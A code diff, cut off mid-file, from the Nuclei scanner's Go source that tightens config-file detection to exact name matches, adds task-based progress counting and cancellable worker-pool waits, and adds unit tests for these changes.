JavascriptTemplateConcurrency: 1,
|
||||
TemplatePayloadConcurrency: 2,
|
||||
ProbeConcurrency: 1,
|
||||
}),
|
||||
)
|
||||
require.NoError(t, err)
|
||||
ne.Options().RestrictLocalNetworkAccess = false
|
||||
ne.Options().Timeout = 2
|
||||
ne.Options().Retries = 0
|
||||
|
||||
ne.LoadTargets([]string{ts.URL}, false)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
matched []string
|
||||
violations []*output.ResultEvent
|
||||
)
|
||||
err = ne.ExecuteCallbackWithCtx(context.Background(), func(event *output.ResultEvent) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if !event.MatcherStatus || event.Error != "" {
|
||||
violations = append(violations, event)
|
||||
}
|
||||
matched = append(matched, event.TemplateID)
|
||||
})
|
||||
ne.Close()
|
||||
|
||||
require.NoError(t, err, "run %d failed", run)
|
||||
require.Empty(t, violations, "ExecuteCallbackWithCtx must not emit non-matching or skip events when MatcherStatus is false")
|
||||
require.Equal(t, []string{"healthy-base-target-match"}, matched, "run %d should consistently match healthy base target after custom-port failure", run)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSDKSkipEventsRespectMatcherStatus(t *testing.T) {
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
require.NoError(t, err)
|
||||
closedAddr := ln.Addr().String()
|
||||
require.NoError(t, ln.Close())
|
||||
|
||||
tplDir := t.TempDir()
|
||||
for i := 1; i <= 3; i++ {
|
||||
tpl := fmt.Sprintf(`id: unreachable-check-%d
|
||||
info:
|
||||
name: Unreachable Check %d
|
||||
author: test
|
||||
severity: info
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/path-%d"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ok"
|
||||
`, i, i, i)
|
||||
require.NoError(t, os.WriteFile(filepath.Join(tplDir, fmt.Sprintf("0%d-tpl.yaml", i)), []byte(tpl), 0o600))
|
||||
}
|
||||
|
||||
runScan := func(matcherStatus bool) []*output.ResultEvent {
|
||||
ne, err := nuclei.NewNucleiEngineCtx(
|
||||
context.Background(),
|
||||
nuclei.DisableUpdateCheck(),
|
||||
nuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{
|
||||
Templates: []string{tplDir},
|
||||
}),
|
||||
nuclei.WithConcurrency(nuclei.Concurrency{
|
||||
TemplateConcurrency: 1,
|
||||
HostConcurrency: 1,
|
||||
HeadlessHostConcurrency: 1,
|
||||
HeadlessTemplateConcurrency: 1,
|
||||
JavascriptTemplateConcurrency: 1,
|
||||
TemplatePayloadConcurrency: 1,
|
||||
ProbeConcurrency: 1,
|
||||
}),
|
||||
)
|
||||
require.NoError(t, err)
|
||||
ne.Options().RestrictLocalNetworkAccess = false
|
||||
ne.Options().Timeout = 1
|
||||
ne.Options().Retries = 0
|
||||
ne.Options().MatcherStatus = matcherStatus
|
||||
|
||||
ne.LoadTargets([]string{"http://" + closedAddr}, false)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
events []*output.ResultEvent
|
||||
)
|
||||
err = ne.ExecuteCallbackWithCtx(context.Background(), func(event *output.ResultEvent) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
events = append(events, event)
|
||||
})
|
||||
ne.Close()
|
||||
require.NoError(t, err)
|
||||
return events
|
||||
}
|
||||
|
||||
require.Empty(t, runScan(false), "skip/error events must not be emitted when MatcherStatus is false")
|
||||
require.NotEmpty(t, runScan(true), "skip/error events should be emitted when MatcherStatus is true")
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions"
|
||||
@@ -32,6 +33,13 @@ func GetKnownConfigFiles() []string {
|
||||
return knownConfigFiles
|
||||
}
|
||||
|
||||
// IsKnownConfigFile returns true if the base name of fpath is exactly one of
|
||||
// the known config files. Names that only contain one of them, such as
|
||||
// "cves.json.yaml", are not considered config files.
|
||||
func IsKnownConfigFile(fpath string) bool {
|
||||
return slices.Contains(knownConfigFiles, filepath.Base(filepath.FromSlash(fpath)))
|
||||
}
|
||||
|
||||
// GetKnownMiscDirectories returns known misc directories with trailing slashes.
|
||||
//
|
||||
// The trailing slash ensures that directory matching is explicit and avoids
|
||||
@@ -78,7 +86,7 @@ func IsTemplateWithRoot(fpath, rootDir string) bool {
|
||||
fname := filepath.Base(fpath)
|
||||
fext := strings.ToLower(filepath.Ext(fpath))
|
||||
|
||||
if stringsutil.ContainsAny(fname, GetKnownConfigFiles()...) {
|
||||
if IsKnownConfigFile(fname) {
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// toAbs converts a slash separated absolute path into an OS specific absolute
|
||||
// path, prefixing it with the system volume on Windows.
|
||||
func toAbs(p string) string {
|
||||
if osutils.IsWindows() {
|
||||
// Infer the drive letter from the Windows system path
|
||||
@@ -28,6 +30,8 @@ func toAbs(p string) string {
|
||||
return filepath.FromSlash(p)
|
||||
}
|
||||
|
||||
// TestIsTemplate checks template detection for supported extensions, excluded
|
||||
// directories and known config files.
|
||||
func TestIsTemplate(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
@@ -89,6 +93,24 @@ func TestIsTemplate(t *testing.T) {
|
||||
rootDir: "",
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "excluded config file in subdirectory",
|
||||
fpath: "nuclei-templates/TEMPLATES-STATS.json",
|
||||
rootDir: "",
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "template name containing config file name",
|
||||
fpath: "http/cves.json.yaml",
|
||||
rootDir: "",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "json template name containing config file name",
|
||||
fpath: "http/contributors.json.json",
|
||||
rootDir: "",
|
||||
want: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
@@ -99,6 +121,29 @@ func TestIsTemplate(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestIsKnownConfigFile ensures only exact config file base names match, and
|
||||
// names that merely contain one (e.g. cves.json.yaml) do not.
|
||||
func TestIsKnownConfigFile(t *testing.T) {
|
||||
for _, fpath := range []string{
|
||||
"cves.json",
|
||||
"contributors.json",
|
||||
"TEMPLATES-STATS.json",
|
||||
toAbs("/home/user/nuclei-templates/cves.json"),
|
||||
"https://example.com/nuclei-templates/cves.json",
|
||||
} {
|
||||
require.True(t, IsKnownConfigFile(fpath), "IsKnownConfigFile(%q)", fpath)
|
||||
}
|
||||
|
||||
for _, fpath := range []string{
|
||||
"cves.json.yaml",
|
||||
"http/cves.json.yaml",
|
||||
"my-contributors.json",
|
||||
toAbs("/home/user/cves.json/test.yaml"),
|
||||
} {
|
||||
require.False(t, IsKnownConfigFile(fpath), "IsKnownConfigFile(%q)", fpath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetNucleiTemplatesIndexIncludesCustomDirSiblingPrefix(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
cfgDir := t.TempDir()
|
||||
|
||||
@@ -26,9 +26,7 @@ func (c *DiskCatalog) GetTemplatesPath(definitions []string) ([]string, map[stri
|
||||
erred := make(map[string]error)
|
||||
|
||||
for _, t := range definitions {
|
||||
if stringsutil.ContainsAny(t, knownConfigFiles...) {
|
||||
// TODO: this is a temporary fix to avoid treating these files as templates
|
||||
// this should be replaced with more appropriate and robust logic
|
||||
if config.IsKnownConfigFile(t) {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(t, urlutil.SchemeSeparator) && stringsutil.ContainsAny(t, config.GetSupportTemplateFileExtensions()...) {
|
||||
@@ -52,9 +50,7 @@ func (c *DiskCatalog) GetTemplatesPath(definitions []string) ([]string, map[stri
|
||||
// purge all false positives
|
||||
filteredTemplates := []string{}
|
||||
for _, v := range allTemplates {
|
||||
// TODO: this is a temporary fix to avoid treating these files as templates
|
||||
// this should be replaced with more appropriate and robust logic
|
||||
if !stringsutil.ContainsAny(v, knownConfigFiles...) {
|
||||
if !config.IsKnownConfigFile(v) {
|
||||
filteredTemplates = append(filteredTemplates, v)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
package disk
|
||||
|
||||
import (
|
||||
"testing/fstest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"testing/fstest"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
@@ -42,6 +43,8 @@ func TestFindGlobPathMatchesUsesCanonicalContainment(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestFindGlobPathMatchesResolvesContainedPath ensures a glob inside the
|
||||
// templates directory resolves against the embedded FS.
|
||||
func TestFindGlobPathMatchesResolvesContainedPath(t *testing.T) {
|
||||
memFS := fstest.MapFS{
|
||||
"http/test.yaml": {Data: []byte("legit")},
|
||||
@@ -56,3 +59,42 @@ func TestFindGlobPathMatchesResolvesContainedPath(t *testing.T) {
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, []string{"http/test.yaml"}, matches)
|
||||
}
|
||||
|
||||
// TestGetTemplatesPathKnownConfigFiles ensures that only exact known config
|
||||
// file names are skipped, and templates whose names merely contain one (e.g.
|
||||
// cves.json.yaml) are still loaded.
|
||||
func TestGetTemplatesPathKnownConfigFiles(t *testing.T) {
|
||||
templatesDir := t.TempDir()
|
||||
httpDir := filepath.Join(templatesDir, "http")
|
||||
require.NoError(t, os.MkdirAll(httpDir, 0755))
|
||||
|
||||
template := filepath.Join(httpDir, "cves.json.yaml")
|
||||
for _, f := range []string{
|
||||
template,
|
||||
filepath.Join(templatesDir, "cves.json"),
|
||||
filepath.Join(templatesDir, "contributors.json"),
|
||||
filepath.Join(templatesDir, "TEMPLATES-STATS.json"),
|
||||
} {
|
||||
require.NoError(t, os.WriteFile(f, []byte("id: test"), 0644))
|
||||
}
|
||||
|
||||
cat := NewCatalog(templatesDir)
|
||||
|
||||
t.Run("direct path", func(t *testing.T) {
|
||||
paths, errs := cat.GetTemplatesPath([]string{template})
|
||||
require.Empty(t, errs)
|
||||
require.Equal(t, []string{template}, paths)
|
||||
})
|
||||
|
||||
t.Run("directory traversal", func(t *testing.T) {
|
||||
paths, errs := cat.GetTemplatesPath([]string{templatesDir})
|
||||
require.Empty(t, errs)
|
||||
require.Equal(t, []string{template}, paths)
|
||||
})
|
||||
|
||||
t.Run("config file is skipped", func(t *testing.T) {
|
||||
paths, errs := cat.GetTemplatesPath([]string{filepath.Join(templatesDir, "cves.json")})
|
||||
require.Empty(t, errs)
|
||||
require.Empty(t, paths)
|
||||
})
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
package disk
|
||||
|
||||
var knownConfigFiles = []string{"cves.json", "contributors.json", "TEMPLATES-STATS.json"}
|
||||
+46
-23
@@ -63,20 +63,6 @@ func (e *Engine) ExecuteScanWithOpts(ctx context.Context, templatesList []*templ
|
||||
return &atomic.Bool{}
|
||||
}
|
||||
|
||||
if e.executerOpts.Progress != nil {
|
||||
// Notes:
|
||||
// workflow requests are not counted as they can be conditional
|
||||
// templateList count is user requested templates count (before clustering)
|
||||
// totalReqAfterClustering is total requests count after clustering
|
||||
e.executerOpts.Progress.Init(target.Count(), len(templatesList), e.expectedRequests(finalTemplates, target, totalReqAfterClustering))
|
||||
}
|
||||
|
||||
if stringsutil.EqualFoldAny(e.options.ScanStrategy, scanstrategy.Auto.String(), "") {
|
||||
// TODO: this is only a placeholder, auto scan strategy should choose scan strategy
|
||||
// based on no of hosts , templates , stream and other optimization parameters
|
||||
e.options.ScanStrategy = scanstrategy.TemplateSpray.String()
|
||||
}
|
||||
|
||||
filtered := []*templates.Template{}
|
||||
selfContained := []*templates.Template{}
|
||||
// Filter Self Contained templates since they are not bound to target
|
||||
@@ -88,6 +74,23 @@ func (e *Engine) ExecuteScanWithOpts(ctx context.Context, templatesList []*templ
|
||||
}
|
||||
}
|
||||
|
||||
if e.executerOpts.Progress != nil {
|
||||
// Notes:
|
||||
// workflow requests are not counted as they can be conditional
|
||||
// templateList count is user requested templates count (before clustering)
|
||||
// totalReqAfterClustering is total requests count after clustering
|
||||
requests, tasks := e.expectedWork(finalTemplates, filtered, target, totalReqAfterClustering)
|
||||
e.executerOpts.Progress.Init(target.Count(), len(templatesList), requests)
|
||||
// a self-contained template runs once
|
||||
e.addTaskTotal(tasks + int64(len(selfContained)))
|
||||
}
|
||||
|
||||
if stringsutil.EqualFoldAny(e.options.ScanStrategy, scanstrategy.Auto.String(), "") {
|
||||
// TODO: this is only a placeholder, auto scan strategy should choose scan strategy
|
||||
// based on no of hosts , templates , stream and other optimization parameters
|
||||
e.options.ScanStrategy = scanstrategy.TemplateSpray.String()
|
||||
}
|
||||
|
||||
// Execute All SelfContained in parallel
|
||||
e.executeAllSelfContained(ctx, selfContained, results, selfcontainedWg)
|
||||
|
||||
@@ -123,7 +126,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
|
||||
}
|
||||
|
||||
// resize check point - nop if there are no changes
|
||||
wp.RefreshWithConfig(e.GetWorkPoolConfig())
|
||||
wp.RefreshWithConfigContext(ctx, e.GetWorkPoolConfig())
|
||||
|
||||
templateType := template.Type()
|
||||
var wg *syncutil.AdaptiveWaitGroup
|
||||
@@ -170,7 +173,10 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
|
||||
default:
|
||||
}
|
||||
|
||||
wp.Add()
|
||||
if err := wp.AddWithContext(ctx); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
go func(targetval *contextargs.MetaInput) {
|
||||
defer wp.Done()
|
||||
e.executeTemplatesOnTarget(ctx, templatesList, targetval, results)
|
||||
@@ -180,23 +186,40 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
|
||||
return results
|
||||
}
|
||||
|
||||
// expectedRequests counts only the template and target pairs that per-target
|
||||
// profiles select, so progress reflects the requests that will be sent.
|
||||
func (e *Engine) expectedRequests(templatesList []*templates.Template, target provider.InputProvider, unscoped int) int64 {
|
||||
// expectedWork returns the requests and the tasks the target-bound templates
|
||||
// will run. It counts only the template and target pairs that per-target
|
||||
// profiles select, so progress reflects the work that will be done. A task is
|
||||
// one template, cluster or workflow run on one target.
|
||||
func (e *Engine) expectedWork(templatesList, targetBound []*templates.Template, target provider.InputProvider, unscopedRequests int) (requests, tasks int64) {
|
||||
scope := e.executerOpts.TargetScope
|
||||
if scope == nil {
|
||||
return int64(unscoped)
|
||||
return int64(unscopedRequests), target.Count() * int64(len(targetBound))
|
||||
}
|
||||
targets := make(map[protocols.TemplateSelection]int64)
|
||||
target.Iterate(func(value *contextargs.MetaInput) bool {
|
||||
targets[scope.For(value)]++
|
||||
return true
|
||||
})
|
||||
var total int64
|
||||
for selection, count := range targets {
|
||||
total += count * int64(getSelectedRequestCount(templatesList, selection))
|
||||
requests += count * int64(getSelectedRequestCount(templatesList, selection))
|
||||
tasks += count * int64(getSelectedCount(targetBound, selection))
|
||||
}
|
||||
return total
|
||||
return requests, tasks
|
||||
}
|
||||
|
||||
// getSelectedCount returns the number of templates selection selects; a nil
|
||||
// selection selects every template.
|
||||
func getSelectedCount(templates []*templates.Template, selection protocols.TemplateSelection) int {
|
||||
if selection == nil {
|
||||
return len(templates)
|
||||
}
|
||||
count := 0
|
||||
for _, template := range templates {
|
||||
if template.SelectedBy(selection) {
|
||||
count++
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
// returns total requests count
|
||||
|
||||
+56
-12
@@ -9,6 +9,8 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/normalize"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/progress"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/scan"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
@@ -36,6 +38,7 @@ func (e *Engine) executeAllSelfContained(ctx context.Context, alltemplates []*te
|
||||
}
|
||||
finished := e.templateExecutionStarted(template, "")
|
||||
defer func() { finished(ctx.Err()) }()
|
||||
defer e.tasksDone(1)
|
||||
var err error
|
||||
var match bool
|
||||
ctx := scan.NewScanContext(ctx, contextargs.New(ctx))
|
||||
@@ -166,12 +169,18 @@ func (e *Engine) executeTemplateWithTargets(ctx context.Context, template *templ
|
||||
currentInfo.Unlock()
|
||||
|
||||
// Skip if the host has had errors
|
||||
if inScope && e.executerOpts.HostErrorsCache != nil && e.executerOpts.HostErrorsCache.Check(e.executerOpts.ProtocolType.String(), contextargs.NewWithMetaInput(ctx, scannedValue)) {
|
||||
hostDown := inScope && e.executerOpts.HostErrorsCache != nil && e.executerOpts.HostErrorsCache.Check(template.Type().String(), contextargs.NewWithMetaInput(ctx, scannedValue))
|
||||
// in-scope pairs that never reach executeTemplateOnInput are done here:
|
||||
// those done by the resumed scan and those of an unresponsive host
|
||||
if inScope && (skip || hostDown) {
|
||||
e.tasksDone(1)
|
||||
}
|
||||
if hostDown {
|
||||
skipEvent := &output.ResultEvent{
|
||||
TemplateID: template.ID,
|
||||
TemplatePath: template.Path,
|
||||
Info: template.Info,
|
||||
Type: e.executerOpts.ProtocolType.String(),
|
||||
Type: template.Type().String(),
|
||||
Host: scannedValue.Input,
|
||||
MatcherStatus: false,
|
||||
Error: "host was skipped as it was found unresponsive",
|
||||
@@ -210,7 +219,7 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
|
||||
wp := e.GetWorkPool()
|
||||
defer wp.Wait()
|
||||
|
||||
for _, tpl := range alltemplates {
|
||||
for i, tpl := range alltemplates {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
@@ -224,12 +233,12 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
|
||||
// Check whether the target has already been marked as permanently
|
||||
// unresponsive by HostErrorsCache before spawning another goroutine.
|
||||
if e.executerOpts.HostErrorsCache != nil &&
|
||||
e.executerOpts.HostErrorsCache.Check(e.executerOpts.ProtocolType.String(), contextargs.NewWithMetaInput(ctx, target)) {
|
||||
e.executerOpts.HostErrorsCache.Check(tpl.Type().String(), contextargs.NewWithMetaInput(ctx, target)) {
|
||||
skipEvent := &output.ResultEvent{
|
||||
TemplateID: tpl.ID,
|
||||
TemplatePath: tpl.Path,
|
||||
Info: tpl.Info,
|
||||
Type: e.executerOpts.ProtocolType.String(),
|
||||
Type: tpl.Type().String(),
|
||||
Host: target.Input,
|
||||
MatcherStatus: false,
|
||||
Error: "host was skipped as it was found unresponsive",
|
||||
@@ -240,11 +249,13 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
|
||||
} else if e.executerOpts.Output != nil {
|
||||
_ = e.executerOpts.Output.Write(skipEvent)
|
||||
}
|
||||
// the remaining templates are skipped for this target as well
|
||||
e.tasksDone(int64(getSelectedCount(alltemplates[i:], e.selectionFor(target))))
|
||||
break
|
||||
}
|
||||
|
||||
// resize check point - nop if there are no changes
|
||||
wp.RefreshWithConfig(e.GetWorkPoolConfig())
|
||||
wp.RefreshWithConfigContext(ctx, e.GetWorkPoolConfig())
|
||||
|
||||
var sg *syncutil.AdaptiveWaitGroup
|
||||
if tpl.Type() == types.HeadlessProtocol {
|
||||
@@ -279,15 +290,46 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
|
||||
|
||||
// inScope reports whether per-target profiles select template for input.
|
||||
func (e *Engine) inScope(template *templates.Template, input *contextargs.MetaInput) bool {
|
||||
if e.executerOpts.TargetScope == nil {
|
||||
return true
|
||||
}
|
||||
selection := e.executerOpts.TargetScope.For(input)
|
||||
selection := e.selectionFor(input)
|
||||
return selection == nil || template.SelectedBy(selection)
|
||||
}
|
||||
|
||||
// selectionFor returns the templates per-target profiles select for input; nil
|
||||
// selects every template.
|
||||
func (e *Engine) selectionFor(input *contextargs.MetaInput) protocols.TemplateSelection {
|
||||
if e.executerOpts.TargetScope == nil {
|
||||
return nil
|
||||
}
|
||||
return e.executerOpts.TargetScope.For(input)
|
||||
}
|
||||
|
||||
// taskTracker returns the progress when it counts tasks, nil otherwise.
|
||||
func (e *Engine) taskTracker() progress.TaskTracker {
|
||||
if e.executerOpts == nil {
|
||||
return nil
|
||||
}
|
||||
tracker, _ := e.executerOpts.Progress.(progress.TaskTracker)
|
||||
return tracker
|
||||
}
|
||||
|
||||
// addTaskTotal adds count tasks to the total when the progress counts tasks.
|
||||
func (e *Engine) addTaskTotal(count int64) {
|
||||
if tracker := e.taskTracker(); tracker != nil {
|
||||
tracker.AddToTaskTotal(count)
|
||||
}
|
||||
}
|
||||
|
||||
// tasksDone marks count tasks as done when the progress counts tasks.
|
||||
func (e *Engine) tasksDone(count int64) {
|
||||
if tracker := e.taskTracker(); tracker != nil {
|
||||
tracker.IncrementTasksBy(count)
|
||||
}
|
||||
}
|
||||
|
||||
// executeTemplateOnInput performs template execution for a single input and returns match status and error
|
||||
func (e *Engine) executeTemplateOnInput(ctx context.Context, template *templates.Template, value *contextargs.MetaInput) (matched bool, err error) {
|
||||
// a pair skipped as a repeat of its origin is done as well
|
||||
defer e.tasksDone(1)
|
||||
// A template fixed to the target's origin makes the same requests for every
|
||||
// target that shares one, which a crawled list produces by the hundred.
|
||||
// Running it once per origin sends exactly the same traffic, minus the
|
||||
@@ -300,9 +342,11 @@ func (e *Engine) executeTemplateOnInput(ctx context.Context, template *templates
|
||||
defer func() { finish(err == nil) }()
|
||||
finished := e.templateExecutionStarted(template, value.Input)
|
||||
defer func() { finished(ctx.Err()) }()
|
||||
ctxArgs := contextargs.New(ctx)
|
||||
// every protocol dials the target's host through its pinned ip, if any
|
||||
pinnedCtx := contextargs.WithCustomIP(ctx, value)
|
||||
ctxArgs := contextargs.New(pinnedCtx)
|
||||
ctxArgs.MetaInput = value
|
||||
scanCtx := scan.NewScanContext(ctx, ctxArgs)
|
||||
scanCtx := scan.NewScanContext(pinnedCtx, ctxArgs)
|
||||
|
||||
switch template.Type() {
|
||||
case types.WorkflowProtocol:
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
inputtypes "github.com/projectdiscovery/nuclei/v3/pkg/input/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
@@ -655,3 +656,113 @@ func Test_executeTemplateWithTargets_RespectsCancellation(t *testing.T) {
|
||||
var matched atomic.Bool
|
||||
e.executeTemplateWithTargets(ctx, tpl, targets, &matched)
|
||||
}
|
||||
|
||||
func newCancelTestEngine() *Engine {
|
||||
opts := &types.Options{
|
||||
TemplateThreads: 1,
|
||||
HeadlessTemplateThreads: 1,
|
||||
BulkSize: 1,
|
||||
HeadlessBulkSize: 1,
|
||||
Logger: gologger.DefaultLogger,
|
||||
}
|
||||
e := New(opts)
|
||||
e.SetExecuterOptions(&protocols.ExecutorOptions{Logger: e.Logger, ResumeCfg: types.NewResumeCfg(), ProtocolType: tmpltypes.HTTPProtocol})
|
||||
return e
|
||||
}
|
||||
|
||||
type gateExecuter struct {
|
||||
started chan struct{}
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
func (g *gateExecuter) Compile() error { return nil }
|
||||
func (g *gateExecuter) Requests() int { return 1 }
|
||||
func (g *gateExecuter) Execute(ctx *scan.ScanContext) (bool, error) {
|
||||
g.once.Do(func() { close(g.started) })
|
||||
<-ctx.Context().Done()
|
||||
return false, ctx.Context().Err()
|
||||
}
|
||||
func (g *gateExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {
|
||||
_, err := g.Execute(ctx)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
func TestExecuteTemplateSprayUnblocksCancelledAcquire(t *testing.T) {
|
||||
e := newCancelTestEngine()
|
||||
gate := &gateExecuter{started: make(chan struct{})}
|
||||
templatesList := []*templates.Template{{Executer: gate}, {Executer: &gateExecuter{started: make(chan struct{})}}}
|
||||
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{{Input: "a"}}}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
e.executeTemplateSpray(ctx, templatesList, targets)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-gate.started:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("first template did not start")
|
||||
}
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("executeTemplateSpray stayed blocked after cancel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteHostSprayUnblocksCancelledAcquire(t *testing.T) {
|
||||
e := newCancelTestEngine()
|
||||
gate := &gateExecuter{started: make(chan struct{})}
|
||||
templatesList := []*templates.Template{{Executer: gate}}
|
||||
targets := &fakeTargetProvider{values: []*contextargs.MetaInput{{Input: "a"}, {Input: "b"}}}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
e.executeHostSpray(ctx, templatesList, targets)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-gate.started:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("first host did not start")
|
||||
}
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("executeHostSpray stayed blocked after cancel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteTemplatesOnTargetUnblocksCancelledAcquire(t *testing.T) {
|
||||
e := newCancelTestEngine()
|
||||
gate := &gateExecuter{started: make(chan struct{})}
|
||||
var matched atomic.Bool
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
e.executeTemplatesOnTarget(ctx, []*templates.Template{{Executer: gate}, {Executer: &gateExecuter{started: make(chan struct{})}}}, &contextargs.MetaInput{Input: "a"}, &matched)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-gate.started:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("first template did not start")
|
||||
}
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("executeTemplatesOnTarget stayed blocked after cancel")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/progress"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
tmpltypes "github.com/projectdiscovery/nuclei/v3/pkg/templates/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// taskRecorder counts the tasks the engine schedules and completes.
|
||||
type taskRecorder struct {
|
||||
progress.Progress
|
||||
total atomic.Int64
|
||||
done atomic.Int64
|
||||
}
|
||||
|
||||
func (r *taskRecorder) Init(int64, int, int64) {}
|
||||
func (r *taskRecorder) AddToTaskTotal(delta int64) { r.total.Add(delta) }
|
||||
func (r *taskRecorder) IncrementTasksBy(count int64) { r.done.Add(count) }
|
||||
|
||||
// downHosts reports the listed inputs as unresponsive.
|
||||
type downHosts struct {
|
||||
hosterrorscache.CacheInterface
|
||||
inputs map[string]bool
|
||||
}
|
||||
|
||||
func (d *downHosts) Check(_ string, ctx *contextargs.Context) bool {
|
||||
return d.inputs[ctx.MetaInput.Input]
|
||||
}
|
||||
|
||||
// newTaskEngine returns an engine for strategy whose progress records tasks.
|
||||
// down lists the unresponsive inputs, and a nil resume starts a fresh scan.
|
||||
func newTaskEngine(strategy scanstrategy.ScanStrategy, scope protocols.TargetScope, down map[string]bool, resume *types.ResumeCfg) (*Engine, *taskRecorder) {
|
||||
options := &types.Options{
|
||||
BulkSize: 2,
|
||||
TemplateThreads: 2,
|
||||
HeadlessBulkSize: 1,
|
||||
HeadlessTemplateThreads: 1,
|
||||
ScanStrategy: strategy.String(),
|
||||
Logger: gologger.DefaultLogger,
|
||||
}
|
||||
if resume == nil {
|
||||
resume = types.NewResumeCfg()
|
||||
}
|
||||
recorder := &taskRecorder{}
|
||||
executerOpts := &protocols.ExecutorOptions{
|
||||
Options: options,
|
||||
ResumeCfg: resume,
|
||||
ProtocolType: tmpltypes.HTTPProtocol,
|
||||
Progress: recorder,
|
||||
TargetScope: scope,
|
||||
}
|
||||
if down != nil {
|
||||
